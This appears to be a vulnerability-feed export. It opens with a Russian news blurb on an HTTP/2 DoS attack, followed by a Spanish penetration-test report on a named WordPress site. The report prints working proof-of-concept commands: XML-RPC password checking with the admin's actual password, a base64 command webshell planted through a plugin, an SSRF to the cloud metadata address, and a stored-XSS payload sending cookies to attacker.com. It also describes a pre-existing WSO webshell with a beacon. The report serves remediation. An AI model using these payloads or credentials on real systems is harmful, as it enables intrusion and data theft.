\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0438 \u043e\u0431\u043e\u0439\u0442\u0438 \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u044e \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 \u0438\u043c\u0435\u043d.\n\n8. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0438\u043f\u0430 HTTP/2 Bomb \u0432\u044b\u0432\u043e\u0434\u0438\u0442 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u044b \u0438\u0437 \u0441\u0442\u0440\u043e\u044f \u0437\u0430 \u0441\u0447\u0438\u0442\u0430\u043d\u043d\u044b\u0435 \u0441\u0435\u043a\u0443\u043d\u0434\u044b.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Calif \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442, \u0447\u0442\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u043c\u0435\u0442\u043e\u0434\u044b DoS-\u0430\u0442\u0430\u043a \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0432 \u043d\u043e\u0432\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\nHTTP/2 Bomb \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e Codex \u043e\u0442 OpenAI \u0438 \u0441\u043e\u0447\u0435\u0442\u0430\u0435\u0442 \u0432 \u0441\u0435\u0431\u0435 \u0431\u043e\u043c\u0431\u0443 \u0441\u0436\u0430\u0442\u0438\u044f, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u0443\u044e \u043d\u0430 \u0441\u0445\u0435\u043c\u0443 \u0441\u0436\u0430\u0442\u0438\u044f \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432 HTTP/2 (HPACK), \u0441 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u043c \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u0432 \u0441\u0442\u0438\u043b\u0435 Slowloris, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0435\u043f\u044f\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044e \u043f\u0430\u043c\u044f\u0442\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c.\n\n\u0410\u0442\u0430\u043a\u0430 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u0435\u0435 880 000 \u0441\u0430\u0439\u0442\u043e\u0432, \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0449\u0438\u0445 HTTP/2 \u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0445 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0439 NGINX, Apache HTTPD, Microsoft IIS, Envoy \u0438\u043b\u0438 Cloudflare Pingora.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0430 \u0441 \u0434\u043e\u043c\u0430\u0448\u043d\u0435\u0433\u043e \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 \u043f\u0440\u0438 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u0438 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f 100 \u041c\u0431\u0438\u0442/\u0441 \u0438 \u0432 \u0441\u0447\u0438\u0442\u0430\u043d\u043d\u044b\u0435 \u0441\u0435\u043a\u0443\u043d\u0434\u044b \u0432\u044b\u0432\u0435\u0441\u0442\u0438 \u0438\u0437 \u0441\u0442\u0440\u043e\u044f \u043b\u044e\u0431\u043e\u0439 \u0438\u0437 \u044d\u0442\u0438\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432.", "creation_timestamp": "2026-06-03T18:30:06.000000Z"}, {"uuid": "5d6554f7-d228-462b-abd3-3233cbf92ca0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/C4sh3R/1f99346b1086e7d358ff1be8f5be7a42", "content": "\n\n\n\n\n\nColumtech \u2014 Informe de Auditor\u00eda de Seguridad \u00b7 c4sh3r\n\n  :root {\n    --bg: #0b0d12;\n    --bg-2: #11151c;\n    --panel: #161b25;\n    --panel-2: #1d2330;\n    --border: #2a3142;\n    --text: #e6e9ef;\n    --text-dim: #99a2b3;\n    --accent: #ff4d6d;\n    --accent-2: #ffb86b;\n    --crit: #ff3d57;\n    --high: #ff8b3d;\n    --med:  #ffd84a;\n    --low:  #4ac6ff;\n    --info: #8c9fb0;\n    --ok: #3ddc97;\n    --code-bg: #0a0d14;\n    --mono: ui-monospace, \"JetBrains Mono\", \"Fira Code\", Menlo, Consolas, monospace;\n  }\n  * { box-sizing: border-box; }\n  html, body { margin: 0; padding: 0; background: var(--bg); color: var(--text);\n               font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif;\n               line-height: 1.55; -webkit-font-smoothing: antialiased; }\n  a { color: var(--accent-2); text-decoration: none; }\n  a:hover { text-decoration: underline; }\n  .hero {\n    padding: 60px 40px 50px;\n    background:\n      radial-gradient(1200px 400px at 10% -10%, rgba(255,77,109,0.25), transparent 60%),\n      radial-gradient(900px 380px at 100% 0%, rgba(255,184,107,0.15), transparent 60%),\n      linear-gradient(180deg, #0e1219, #0b0d12);\n    border-bottom: 1px solid var(--border);\n  }\n  .hero-inner { max-width: 1100px; margin: 0 auto; }\n  .eyebrow {\n    display: inline-flex; align-items: center; gap: 8px;\n    font-family: var(--mono); font-size: 12px; letter-spacing: 0.15em;\n    text-transform: uppercase; color: var(--accent);\n    padding: 4px 10px; border: 1px solid rgba(255,77,109,0.35);\n    border-radius: 999px; background: rgba(255,77,109,0.08);\n  }\n  .hero h1 { font-size: 44px; line-height: 1.1; margin: 18px 0 10px; letter-spacing: -0.02em; }\n  .hero h1 .accent { color: var(--accent); }\n  .hero .sub { color: var(--text-dim); font-size: 17px; max-width: 720px; }\n  .meta { margin-top: 30px; display: grid; grid-template-columns: repeat(4, 1fr); gap: 14px; }\n  .meta .card { background: rgba(22,27,37,0.7); border: 1px solid var(--border); border-radius: 10px; padding: 14px 16px; }\n  .meta .card .k { font-size: 11px; text-transform: uppercase; letter-spacing: 0.12em; color: var(--text-dim); }\n  .meta .card .v { font-family: var(--mono); font-size: 14px; margin-top: 6px; word-break: break-all; }\n  .author-strip {\n    display: flex; align-items: center; gap: 14px; margin-top: 24px;\n    padding: 12px 16px; border: 1px dashed var(--border); border-radius: 10px;\n    background: rgba(255,255,255,0.02); font-family: var(--mono); font-size: 13px; color: var(--text-dim);\n  }\n  .author-strip strong { color: var(--accent); }\n  .container { max-width: 1100px; margin: 0 auto; padding: 40px; }\n  section { margin-bottom: 60px; }\n  h2 { font-size: 26px; margin: 0 0 18px; letter-spacing: -0.01em; display: flex; align-items: center; gap: 12px; }\n  h2::before { content: ''; width: 4px; height: 22px; background: var(--accent); border-radius: 2px; }\n  h3 { font-size: 19px; margin: 22px 0 10px; }\n  p { color: var(--text); }\n  p.dim { color: var(--text-dim); }\n  .stats { display: grid; grid-template-columns: repeat(5, 1fr); gap: 12px; margin-top: 10px; }\n  .stat { background: var(--panel); border: 1px solid var(--border); border-radius: 12px; padding: 18px; text-align: center; }\n  .stat .num { font-size: 32px; font-weight: 700; font-family: var(--mono); }\n  .stat .lbl { font-size: 12px; text-transform: uppercase; letter-spacing: 0.12em; color: var(--text-dim); margin-top: 6px; }\n  .stat.crit .num { color: var(--crit); } .stat.high .num { color: var(--high); }\n  .stat.med  .num { color: var(--med); }  .stat.low  .num { color: var(--low); }\n  .stat.info .num { color: var(--info); }\n  table.summary { width: 100%; border-collapse: collapse; margin-top: 16px; background: var(--panel); border: 1px solid var(--border); border-radius: 12px; overflow: hidden; }\n  table.summary th, table.summary td { padding: 12px 14px; text-align: left; border-bottom: 1px solid var(--border); font-size: 14px; }\n  table.summary th { background: var(--panel-2); font-weight: 600; font-size: 12px; text-transform: uppercase; letter-spacing: 0.08em; color: var(--text-dim); }\n  table.summary tr:last-child td { border-bottom: none; }\n  table.summary tr:hover td { background: rgba(255,255,255,0.02); }\n  .badge { display: inline-block; padding: 3px 9px; border-radius: 4px; font-size: 11px; font-weight: 700; font-family: var(--mono); letter-spacing: 0.05em; text-transform: uppercase; }\n  .badge.crit { background: rgba(255,61,87,0.15); color: var(--crit); border: 1px solid rgba(255,61,87,0.4); }\n  .badge.high { background: rgba(255,139,61,0.13); color: var(--high); border: 1px solid rgba(255,139,61,0.4); }\n  .badge.med  { background: rgba(255,216,74,0.13); color: var(--med);  border: 1px solid rgba(255,216,74,0.4); }\n  .badge.low  { background: rgba(74,198,255,0.13); color: var(--low);  border: 1px solid rgba(74,198,255,0.4); }\n  .badge.info { background: rgba(140,159,176,0.13); color: var(--info); border: 1px solid rgba(140,159,176,0.4); }\n  .finding { background: var(--panel); border: 1px solid var(--border); border-radius: 14px; margin-top: 22px; overflow: hidden; }\n  .finding .head { display: flex; align-items: center; gap: 14px; flex-wrap: wrap; padding: 18px 22px; background: var(--panel-2); border-bottom: 1px solid var(--border); }\n  .finding.crit .head { box-shadow: inset 4px 0 0 0 var(--crit); }\n  .finding.high .head { box-shadow: inset 4px 0 0 0 var(--high); }\n  .finding.med .head  { box-shadow: inset 4px 0 0 0 var(--med); }\n  .finding.low .head  { box-shadow: inset 4px 0 0 0 var(--low); }\n  .finding.info .head { box-shadow: inset 4px 0 0 0 var(--info); }\n  .finding .head .id { font-family: var(--mono); color: var(--text-dim); font-size: 13px; }\n  .finding .head .title { font-size: 17px; font-weight: 600; flex: 1; }\n  .finding .body { padding: 22px; }\n  .finding .body h4 { font-size: 11px; text-transform: uppercase; letter-spacing: 0.14em; color: var(--text-dim); margin: 18px 0 8px; }\n  .finding .body h4:first-child { margin-top: 0; }\n  .finding ul { margin: 0 0 6px; padding-left: 22px; }\n  .finding li { margin-bottom: 4px; }\n  pre, code { font-family: var(--mono); font-size: 13px; }\n  pre { background: var(--code-bg); border: 1px solid var(--border); border-radius: 8px; padding: 14px 16px; overflow-x: auto; line-height: 1.5; color: #d6dbe6; }\n  code.inline { background: rgba(255,255,255,0.05); padding: 1px 6px; border-radius: 4px; border: 1px solid var(--border); font-size: 12px; }\n  .kv { display: grid; grid-template-columns: 160px 1fr; gap: 6px 16px; font-size: 13.5px; }\n  .kv .k { color: var(--text-dim); font-family: var(--mono); font-size: 12px; padding-top: 2px; }\n  .callout { border-left: 3px solid var(--accent); background: rgba(255,77,109,0.05); padding: 14px 18px; border-radius: 0 8px 8px 0; margin: 12px 0; font-size: 14px; }\n  .callout.danger { border-color: var(--crit); background: rgba(255,61,87,0.07); }\n  .callout.warn   { border-color: var(--high); background: rgba(255,139,61,0.06); }\n  .callout.ok     { border-color: var(--ok);  background: rgba(61,220,151,0.06); }\n  footer { border-top: 1px solid var(--border); padding: 36px 40px; margin-top: 40px; color: var(--text-dim); text-align: center; font-size: 13px; background: var(--bg-2); }\n  footer .sig { font-family: var(--mono); font-size: 14px; color: var(--accent); }\n  .chain { background: var(--code-bg); border: 1px solid var(--border); border-radius: 10px; padding: 20px 24px; margin: 14px 0; }\n  .chain-step { display: flex; align-items: flex-start; gap: 14px; margin-bottom: 10px; }\n  .chain-step:last-child { margin-bottom: 0; }\n  .chain-num { background: var(--accent); color: #fff; border-radius: 50%; width: 22px; height: 22px; display: flex; align-items: center; justify-content: center; font-size: 12px; font-weight: 700; flex-shrink: 0; margin-top: 2px; }\n  .chain-text { font-family: var(--mono); font-size: 13px; color: #d6dbe6; }\n  .chain-arrow { color: var(--accent); font-size: 18px; margin: 4px 0; text-align: center; }\n  @media (max-width: 760px) {\n    .hero h1 { font-size: 32px; }\n    .meta, .stats { grid-template-columns: repeat(2, 1fr); }\n    .container, .hero { padding: 30px 22px; }\n  }\n\n\n\n\n\n\n  \n\n    \u258c Auditor\u00eda de Seguridad \u00b7 2026-06-03/04\n    \nColumtech OnlineInforme de Seguridad Web\n    \nEvaluaci\u00f3n de seguridad completa de columtech.online. Resultado: compromiso total \u2014 admin WordPress, RCE como www-data, defacing demostrado, escalada a root bloqueada por hardening excepcional.\n\n    \n\n      \n\nObjetivo\ncolumtech.online\n      \n\nBackend\nApache 2.4.66 \u00b7 PHP 8.2.30 \u00b7 MySQL 8.0.45\n      \n\nStack\nWP 7.0 \u00b7 Elementor 4.0.2 \u00b7 Docker \u00b7 Cloudflare \u00b7 Caddy\n      \n\nFecha\n2026-06-03 / 04\n    \n\n    \n\n      Autor del informe \u00b7 c4sh3r \u00b7 auditor\u00eda solicitada por el propietario del dominio \u00b7 autorizaci\u00f3n total\n    \n  \n\n\n\n\n\n  \n\n    \nResumen Ejecutivo\n    \nSe realiz\u00f3 una auditor\u00eda de seguridad end-to-end sobre columtech.online, un portal WordPress operado por el propietario con fines de pr\u00e1ctica y aprendizaje. La evaluaci\u00f3n cubri\u00f3 reconocimiento pasivo, enumeraci\u00f3n de usuarios, an\u00e1lisis de superficie de ataque en plugins y XML-RPC, explotaci\u00f3n de credenciales d\u00e9biles, post-explotaci\u00f3n como www-data dentro de un contenedor Docker, demostraci\u00f3n de defacing y exploraci\u00f3n exhaustiva de escalada de privilegios a root.\n    \nEl sitio fue comprometido completamente a nivel de aplicaci\u00f3n: acceso de administrador WordPress, ejecuci\u00f3n remota de c\u00f3digo como www-data, lectura/escritura del sistema de archivos y defacing demostrado. La escalada a root dentro del contenedor fue bloqueada por un perfil de hardening que combina seccomp, AppArmor y ptrace_scope=3, resistiendo todos los CVEs p\u00fablicos conocidos para kernel 6.8.\n    \nSe descubri\u00f3 adicionalmente una webshell real de un atacante externo (wp-loginizer.php \u2014 WSO Mr.X v2.5 con beacon a cdn.privdayz.com) que requiere eliminaci\u00f3n inmediata.\n\n    \n\n      Riesgo principal: Contrase\u00f1a de administrador d\u00e9bil marce:marce123 accesible v\u00eda XML-RPC sin rate-limit \u2192 compromiso total del sitio en minutos.\n    \n\n    \n\n      \n\n3\nCr\u00edticos\n      \n\n4\nAltos\n      \n\n4\nMedios\n      \n\n4\nBajos\n      \n\n3\nInformativos\n    \n  \n\n  \n\n    \nCadena de Ataque Demostrada\n    \n\n      \n\n1\nREST API bypass (?rest_route=/wp/v2/users) \u2192 enum admin marce (id=1) + prueba (id=2) + columtech (id=3)\n      \n\u2193\n      \n\n2\nGravatar SHA-256 reverse \u2192 email de prueba: prueba@gmail.com\n      \n\u2193\n      \n\n3\nXML-RPC wp.getUsersBlogs (credential oracle sin rate-limit) \u2192 marce:marce123 [administrator]\n      \n\u2193\n      \n\n4\nAdmin WP \u2192 REST API POST /wp/v2/plugins \u2192 instalaci\u00f3n code-snippets plugin\n      \n\u2193\n      \n\n5\nCode Snippets PHP snippet \u2192 RCE como www-data \u00b7 uid=33 \u00b7 hostname 6c49a066ba4c\n      \n\u2193\n      \n\n6\nDefacing: t\u00edtulo del sitio + sticky post + p\u00e1gina est\u00e1tica con matrix rain / glitch effects\n      \n\u2193\n      \n\n7\nEscalada: 12 CVEs y t\u00e9cnicas probadas \u2192 bloqueadas por seccomp + AppArmor + ptrace_scope=3\n    \n  \n\n  \n\n    \nAlcance y Metodolog\u00eda\n    \n\n      \nObjetivo\nhttps://www.columtech.online \u2014 WordPress 7.0 + Elementor 4.0.2 + plugin Filester/elFinder\n      \nTipo\nCaja negra \u2192 caja gris (tras obtener credenciales) \u00b7 sin acceso previo a servidor\n      \nAutorizaci\u00f3n\nDominio propiedad del solicitante \u00b7 auditor\u00eda completa autorizada verbalmente\n      \nIdentificaci\u00f3n\nTodas las peticiones etiquetadas con User-Agent: c4sh3r y X-Bug-Bounty: c4sh3r\n      \nNo destructivo\nEl defacing fue demostrado y revertido. Ficheros de prueba eliminados. No se destruy\u00f3 ni borr\u00f3 informaci\u00f3n real del sitio.\n      \nHerramientas\ncurl, Python 3, LinPEAS, bore (tunnel), GCC, git (exploit repos), b\u00fasqueda web de CVEs en tiempo real\n    \n  \n\n  \n\n    \nResumen de Hallazgos\n    \n\n      IDSeveridadHallazgoComponente\n      \n        C-01Cr\u00edticoCredencial admin d\u00e9bil \u2014 acceso total v\u00eda XML-RPCWordPress \u00b7 XML-RPC\n        C-02Cr\u00edticoWebshell externa preexistente (WSO Mr.X)wp-loginizer.php\n        C-03Cr\u00edticoRCE como www-data v\u00eda Code Snippets pluginWordPress \u00b7 Code Snippets REST\n        H-01AltoXML-RPC expuesto \u2014 SSRF + credential oracle sin rate-limitxmlrpc.php\n        H-02AltoCVE-2026-6127 Elementor XSS almacenado v\u00eda REST APIElementor 4.0.2 \u2264 4.0.4\n        H-03AltoEnumeraci\u00f3n de usuarios por 4 v\u00edas sin rate-limitREST API \u00b7 wp-login \u00b7 lostpassword\n        H-04AltoNonce de plugin expuesto en REST sin autenticaci\u00f3nFilevue \u00b7 /wp/v2/pages/7\n        M-01MedioWordPress 7.0 / Elementor 4.0.2 \u2014 versiones desactualizadasCore + plugins\n        M-02MedioEmail de usuario deducible por Gravatar hash (SHA-256)REST API \u00b7 Gravatar\n        M-03MedioRecuperaci\u00f3n de contrase\u00f1a rota + oracle de usuariowp-login.php \u00b7 lostpassword\n        M-04Mediowp-cron.php accesible p\u00fablicamentewp-cron.php\n        L-01BajoCabeceras de seguridad ausentes (HSTS, X-Content-Type, Permissions-Policy)HTTP Headers \u00b7 Caddy\n        L-02BajoOrigen Apache/versi\u00f3n filtrado en respuestas 404Apache 2.4.66 \u00b7 Cloudflare bypass\n        L-03Bajoreadme.html accesible \u2014 divulgaci\u00f3n de versi\u00f3n WPWordPress Core\n        L-04BajoCVE-2026-24072 Apache 2.4.66 mod_rewrite htaccess readApache 2.4.66\n        I-01InfoContenedor Docker con hardening seccomp/AppArmor efectivoInfraestructura\n        I-02InfoDB creds en claro en variable de entorno del containerDocker env \u00b7 WORDPRESS_DB_*\n        I-03InfoKernel 6.8.0-117 vulnerable a CVE-2026-46333 pero bloqueado por seccompKernel \u00b7 pidfd_getfd\n      \n    \n  \n\n  \n\n    \nHallazgos Detallados\n\n    \n    \n\n      \n\n        C-01\n        Cr\u00edtico\n        Credencial de administrador d\u00e9bil \u2014 compromiso total v\u00eda XML-RPC\n      \n      \n\n        \nDescripci\u00f3n\n        \nLa cuenta de administrador marce ten\u00eda la contrase\u00f1a marce123. XML-RPC no implementa rate-limiting, permitiendo descubrirla mediante credential oracle con pocas decenas de intentos. Una vez autenticados, se obtuvo acceso total: lectura de opciones del sitio, creaci\u00f3n/edici\u00f3n de posts, subida de ficheros y instalaci\u00f3n de plugins.\n        \nPoC\n        \n# Descubrimiento de credenciales v\u00eda XML-RPC oracle\ncurl -X POST https://www.columtech.online/xmlrpc.php \\\n  -d '<?xml version=\"1.0\"?><methodCall>\n       <methodName>wp.getUsersBlogs</methodName>\n       <params>\n         <param><value><string>marce</string></value></param>\n         <param><value><string>marce123</string></value></param>\n       </params></methodCall>'\n\n# Respuesta: isAdmin=1, blogName=Laboratorio\n# RESULTADO: acceso de administrador confirmado\n        \nImpacto\n        \n\n          \nAcceso completo al panel de administraci\u00f3n WordPress\n          \nInstalaci\u00f3n de plugins arbitrarios \u2192 RCE\n          \nLectura/escritura de todos los contenidos y usuarios\n          \nDefacing del sitio demostrado\n          \nSubida de ficheros al servidor\n        \n        \nRemediaci\u00f3n\n        \n# 1. Cambiar contrase\u00f1a inmediatamente (m\u00ednimo 20 chars, aleatoria)\n# 2. Deshabilitar XML-RPC si no se usa Jetpack/app m\u00f3vil\nadd_filter('xmlrpc_enabled', '__return_false');\n\n# 3. Alternativamente, bloquear en Caddy/Cloudflare\n# Cloudflare WAF rule: (http.request.uri.path eq \"/xmlrpc.php\") \u2192 Block\n      \n    \n\n    \n    \n\n      \n\n        C-02\n        Cr\u00edtico\n        Webshell externa preexistente \u2014 WSO Mr.X v2.5\n      \n      \n\n        \nDescripci\u00f3n\n        \nSe encontr\u00f3 /var/www/html/wp-loginizer.php (237 KB), una webshell WSO (\u00abWeb Shell by orb\u00bb) Mr.X BYPASS v2.5 completamente funcional. El fichero incluye un file manager con terminal, file editor, y un beacon de tracking que reporta la URL de cada visita a https://cdn.privdayz.com/images/logo.jpg. El sitio fue comprometido por un atacante externo antes de esta auditor\u00eda (posts de spam en ruso desde 2023).\n        \nPoC\n        \ncurl https://www.columtech.online/wp-loginizer.php\n# Responde con file manager completo (sin autenticaci\u00f3n adicional)\n# Contiene: terminal, editor de archivos, upload\n# BEACON: POST a cdn.privdayz.com con location.href del visitante\n        \nImpacto\n        \n\n          \nAtacante externo tiene acceso de shell activo como www-data\n          \nExfiltraci\u00f3n de datos de visitantes a servidor tercero (privdayz.com)\n          \nPosible pivoting a base de datos y archivos\n          \nRGPD/privacidad: beacon rastrea IPs de visitantes\n        \n        \nRemediaci\u00f3n\n        \n# URGENTE \u2014 eliminar el fichero inmediatamente\nrm /var/www/html/wp-loginizer.php\nrm /var/www/html/2ops.php     # file manager adicional\nrm /var/www/html/x.php        # webshell de auditor\u00eda (nuestro)\nrm /var/www/html/rs.php       # reverse shell de auditor\u00eda (nuestro)\nrm /var/www/html/rs2.php      # reverse shell de auditor\u00eda (nuestro)\n\n# Auditar TODOS los archivos modificados en los \u00faltimos 90 d\u00edas:\nfind /var/www/html -newer /var/www/html/wp-config.php -name \"*.php\" | sort\n      \n    \n\n    \n    \n\n      \n\n        C-03\n        Cr\u00edtico\n        RCE como www-data v\u00eda Code Snippets REST API\n      \n      \n\n        \nDescripci\u00f3n\n        \nCon acceso de administrador, se instal\u00f3 el plugin Code Snippets v\u00eda REST API autenticada (POST /wp/v2/plugins). El plugin expone una API REST que permite crear snippets PHP que se ejecutan en cada carga de p\u00e1gina. Se cre\u00f3 un snippet con webshell (shell_exec(base64_decode($_GET['c4sh3r']))) que ejecuta comandos arbitrarios como uid=33(www-data).\n        \nPoC\n        \n# Instalar plugin\ncurl -X POST https://columtech.online/index.php?rest_route=/wp/v2/plugins \\\n  -H \"X-WP-Nonce: $NONCE\" -H \"Cookie: $ADMIN_COOKIES\" \\\n  -d '{\"slug\":\"code-snippets\",\"status\":\"active\"}'\n\n# Crear snippet webshell\ncurl -X POST https://columtech.online/index.php?rest_route=/code-snippets/v1/snippets \\\n  -H \"X-WP-Nonce: $NONCE\" \\\n  -d '{\"code\":\"if(isset($_GET[\\\"c4sh3r\\\"])){die(shell_exec(base64_decode($_GET[\\\"c4sh3r\\\"])));}\", \"scope\":\"front-end\",\"active\":true}'\n\n# Ejecutar comando\ncurl \"https://columtech.online/?c4sh3r=$(echo -n 'id' | base64)\"\n# uid=33(www-data) gid=33(www-data) groups=33(www-data)\n        \nImpacto\n        \n\n          \nEjecuci\u00f3n remota de comandos en el servidor\n          \nLectura de wp-config.php y credenciales de base de datos\n          \nEscritura en /var/www/html (filesystem del host)\n          \nDefacing del sitio completo\n          \nReverse shell interactiva al atacante demostrada\n        \n        \nRemediaci\u00f3n\n        \n# Eliminar plugin Code Snippets y snippet malicioso\n# Revisar y eliminar TODOS los plugins no esenciales\n# Cambiar credenciales admin PRIMERO (ver C-01)\n# Implementar WAF rule para bloquear par\u00e1metros ?c4sh3r=\n      \n    \n\n    \n    \n\n      \n\n        H-01\n        Alto\n        XML-RPC expuesto \u2014 SSRF confirmado + amplificaci\u00f3n de credential testing\n      \n      \n\n        \nDescripci\u00f3n\n        \nxmlrpc.php est\u00e1 habilitado con system.multicall disponible. El m\u00e9todo pingback.ping causa que el servidor realice peticiones HTTP salientes arbitrarias (SSRF). Se confirm\u00f3 que el servidor intenta alcanzar 169.254.169.254 (metadata cloud) y puede escanear puertos internos por diferencia de tiempos.\n        \nPoC\n        \n# SSRF \u2014 servidor hace fetch a URL controlada por atacante\ncurl -X POST https://columtech.online/xmlrpc.php \\\n  -d '<methodCall><methodName>pingback.ping</methodName>\n       <params>\n         <param><value><string>http://169.254.169.254/</string></value></param>\n         <param><value><string>https://columtech.online/?p=1</string></value></param>\n       </params></methodCall>'\n\n# Resultado: 11.3s timeout \u2192 servidor alcanza metadata endpoint\n# Externo (example.com): 1.3s | Interno (localhost:80): 0.3s\n        \nImpacto\n        \n\n          \nSSRF: escaneo de puertos/servicios internos y metadata cloud\n          \nsystem.multicall: amplificaci\u00f3n de credential testing sin generar logs proporcionales\n          \nPingback abuse: DDoS contra terceros usando el servidor como amplificador\n        \n        \nRemediaci\u00f3n\n        \nadd_filter('xmlrpc_enabled', '__return_false');\n# O bloquear en Cloudflare/Caddy si se necesita para Jetpack\n      \n    \n\n    \n    \n\n      \n\n        H-02\n        Alto\n        CVE-2026-6127 \u2014 Elementor 4.0.2 Stored XSS v\u00eda REST API (form-encoded PATCH)\n      \n      \n\n        \nDescripci\u00f3n\n        \nElementor 4.0.2 es vulnerable a CVE-2026-6127 (CVSS 6.4). El campo _elementor_data se registra con show_in_rest sin sanitize_callback. Un atacante con rol Contributor+ puede enviar una petici\u00f3n PATCH form-encoded (no JSON) y la sanitizaci\u00f3n se salta completamente, almacenando JavaScript arbitrario que se ejecuta para cualquier visitante, incluyendo el administrador.\n        \nPoC\n        \ncurl -X PATCH https://columtech.online/index.php?rest_route=/wp/v2/posts/1 \\\n  -H \"Authorization: Basic $(echo -n 'contributor:pass' | base64)\" \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  --data-urlencode 'meta[_elementor_edit_mode]=builder' \\\n  --data-urlencode 'meta[_elementor_data]=[{\"elType\":\"widget\",\"widgetType\":\"html\",\"settings\":{\"html\":\"<svg/onload=fetch(\\\"//attacker.com/\\\"+document.cookie)>\"}}]'\n        \nImpacto\n        \n\n          \nXSS persistente \u2192 robo de session cookies del administrador\n          \nAccount takeover del administrador cuando visita la p\u00e1gina\n          \nCadena hacia defacing y RCE desde XSS (auto-crear admin v\u00eda fetch)\n        \n        \nRemediaci\u00f3n\n        \n# Actualizar Elementor a \u2265 4.0.5\n# Workaround: restringir rol Contributor a usuarios de confianza\n      \n    \n\n    \n    \n\n      \n\n        H-03\n        Alto\n        Enumeraci\u00f3n de usuarios admin por 4 v\u00edas sin rate-limit\n      \n      \n\n        \nDescripci\u00f3n\n        \nEl username del administrador (marce) se obtiene por al menos 4 m\u00e9todos distintos, ninguno protegido por rate-limit ni captcha:\n        \nPoC\n        \n# M\u00e9todo 1: REST API bypass del filtro de Caddy\ncurl \"https://columtech.online/index.php?rest_route=/wp/v2/users\"\n# [{\"id\":1,\"slug\":\"marce\",...},{\"id\":2,\"slug\":\"prueba\",...}]\n\n# M\u00e9todo 2: author redirect\ncurl -I \"https://columtech.online/?author=1\"\n# 301 \u2192 /author/marce/\n\n# M\u00e9todo 3: wp-login oracle (respuesta diferente seg\u00fan usuario)\n# v\u00e1lido: \"la contrase\u00f1a que has introducido para marce no es correcta\"\n# inv\u00e1lido: \"El nombre de usuario nope123 no est\u00e1 registrado\"\n\n# M\u00e9todo 4: lostpassword oracle\n# v\u00e1lido: \"no se pudo enviar el correo electr\u00f3nico\" (usuario S\u00cd existe)\n# inv\u00e1lido: \"no hay ninguna cuenta con ese nombre de usuario\"\n        \nRemediaci\u00f3n\n        \n# Restringir REST users a autenticados:\nadd_filter('rest_endpoints', function($ep){\n    if(isset($ep['/wp/v2/users'])) unset($ep['/wp/v2/users']);\n    return $ep;\n});\n# Unificar mensajes de error de wp-login y lostpassword\n# Bloquear ?author= redirect\n      \n    \n\n    \n    \n\n      \n\n        H-04\n        Alto\n        Nonce de plugin Filevue expuesto en REST API sin autenticaci\u00f3n\n      \n      \n\n        \nDescripci\u00f3n\n        \nLa p\u00e1gina \u00abClient Portal\u00bb (ID=7) contiene el formulario de login del plugin Filevue con un nonce WordPress (_wpnonce) embebido en el HTML renderizado. Este HTML es devuelto por la REST API GET /wp/v2/pages/7 sin autenticaci\u00f3n, exponiendo el nonce a cualquier atacante.\n        \nPoC\n        \ncurl \"https://columtech.online/index.php?rest_route=/wp/v2/pages/7\" | \\\n  grep -o '_wpnonce\" value=\"[^\"]*\"'\n# _wpnonce\" value=\"ecd04e0712\"\n\n# El nonce permite enviar peticiones autenticadas a admin-post.php\n# sin estar logueado \u2014 usado para probar SQLi en filevue_client_login\n        \nRemediaci\u00f3n\n        \n# No embeber nonces en contenido REST p\u00fablico\n# Restringir /wp/v2/pages a usuarios autenticados o excluir 